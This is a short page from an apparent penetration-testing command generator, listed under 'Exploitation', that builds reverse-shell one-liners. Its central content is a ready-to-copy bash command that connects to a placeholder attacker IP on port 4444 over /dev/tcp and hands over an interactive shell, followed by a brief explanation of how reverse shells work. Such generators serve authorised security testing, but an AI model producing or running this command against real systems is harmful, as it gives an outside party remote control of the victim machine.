Back to Directory

Reverse Shell

Exploitation

Generate one-liner reverse shells for various languages and tools.

Customize the parameters below to generate your target command. Use the preview box to verify syntax and click the clipboard icon to copy.

Configure Options

The IP address of your listener machine.

The port your listener is waiting on.

Generated Command

bash - CommandsLab
$ bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Command Breakdown

  • Tool:Reverse Shell — Generate one-liner reverse shells for various languages and tools.
  • LPORT (Listener Port):4444 — The port your listener is waiting on.
  • Shell Type:Bash (-i)

About this tool

A reverse shell is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which allows for command execution.

Pro Tip: Focus on understanding the core options first. You can use the generated command directly in your terminal, and view the Command Breakdown above to see what each flag does.